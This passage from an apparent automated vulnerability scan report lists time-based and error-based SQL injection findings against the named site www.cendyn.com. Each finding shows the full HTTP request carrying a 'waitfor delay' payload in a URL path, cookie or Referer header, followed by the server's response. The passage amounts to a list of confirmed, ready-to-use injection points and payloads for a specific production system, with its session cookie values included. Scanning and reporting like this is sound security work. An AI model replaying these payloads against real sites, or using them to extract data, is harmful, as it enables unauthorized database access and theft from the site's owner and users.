Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:31:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/egiftcards.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:31:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.20. http://www.cendyn.com/Profile/egiftcards.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/egiftcards.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 21172 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/egiftcards.asp',0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.21. http://www.cendyn.com/Profile/einsight.asp [ASPSESSIONIDCACRSTCA cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/einsight.asp

Issue detail

The ASPSESSIONIDCACRSTCA cookie appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the ASPSESSIONIDCACRSTCA cookie. The application took 42765 milliseconds to respond to the request, compared with 26125 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/einsight.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF',0,0,0)waitfor%20delay'0%3a0%3a20'--; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10784
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:50:10 GMT

<HTML>
<HEAD>

<title>Hotel eMail Contact Database Management: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants W
...[SNIP]...
2.22. http://www.cendyn.com/Profile/einsight.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/einsight.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 41296 milliseconds to respond to the request, compared with 26125 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile'waitfor%20delay'0%3a0%3a20'--/einsight.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:58:32 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.23. http://www.cendyn.com/Profile/einsight.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/einsight.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile/einsight.asp' HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 14:01:01 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4640
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile/einsight.asp'' HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 14:01:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.24. http://www.cendyn.com/Profile/emenus.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/emenus.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/emenus.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:33:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/emenus.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:33:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.25. http://www.cendyn.com/Profile/emenus.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/emenus.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 21000 milliseconds to respond to the request, compared with 1015 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/emenus.asp',0,0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.26. http://www.cendyn.com/Profile/emenus.asp [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/emenus.asp

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the Referer HTTP header. The application took 21438 milliseconds to respond to the request, compared with 1015 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/emenus.asp HTTP/1.1
Accept: */*
Referer: http://www.google.com/search?hl=en&q=',0)waitfor%20delay'0%3a0%3a20'--
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11874
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:31:11 GMT

<HTML>
<HEAD>

<title>Restaurant Catering Menu Proposal System: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants
...[SNIP]...
2.27. http://www.cendyn.com/Profile/eproposal.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/eproposal.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/eproposal.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:31:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/eproposal.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:31:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.28. http://www.cendyn.com/Profile/eproposal.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eproposal.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 124484 milliseconds to respond to the request, compared with 1015 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/eproposal.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:45:43 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.29. http://www.cendyn.com/Profile/fact.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/fact.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/fact.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:33:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/fact.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:33:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.30. http://www.cendyn.com/Profile/fact.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/fact.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 64203 milliseconds to respond to the request, compared with 1078 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/fact.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:50:10 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.31. http://www.cendyn.com/Profile/fact.asp [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/fact.asp

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the Referer HTTP header. The application took 21454 milliseconds to respond to the request, compared with 1078 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/fact.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.google.com/search?hl=en&q='waitfor%20delay'0%3a0%3a20'--
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12211
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:31:11 GMT


<HEAD>

<title>Top Online Marketing Agency: Cendyn Internet Advertising Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</title>
<
...[SNIP]...
2.32. http://www.cendyn.com/Profile/givingback.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/givingback.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 21156 milliseconds to respond to the request, compared with 1031 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile'waitfor%20delay'0%3a0%3a20'--/givingback.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/fact.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:56:39 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.33. http://www.cendyn.com/Profile/givingback.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/givingback.asp

Issue detail

